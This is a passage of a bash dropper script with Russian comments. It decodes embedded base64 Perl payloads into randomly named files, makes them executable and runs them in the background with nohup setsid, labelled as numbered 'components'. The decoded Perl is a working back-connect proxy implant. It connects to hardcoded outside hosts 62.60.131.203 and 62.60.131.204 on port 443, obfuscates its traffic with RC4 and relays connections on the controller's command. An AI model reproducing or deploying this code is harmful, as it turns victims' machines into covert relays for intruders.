bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #56 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #56 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 57 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #57 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #57 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 58 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw 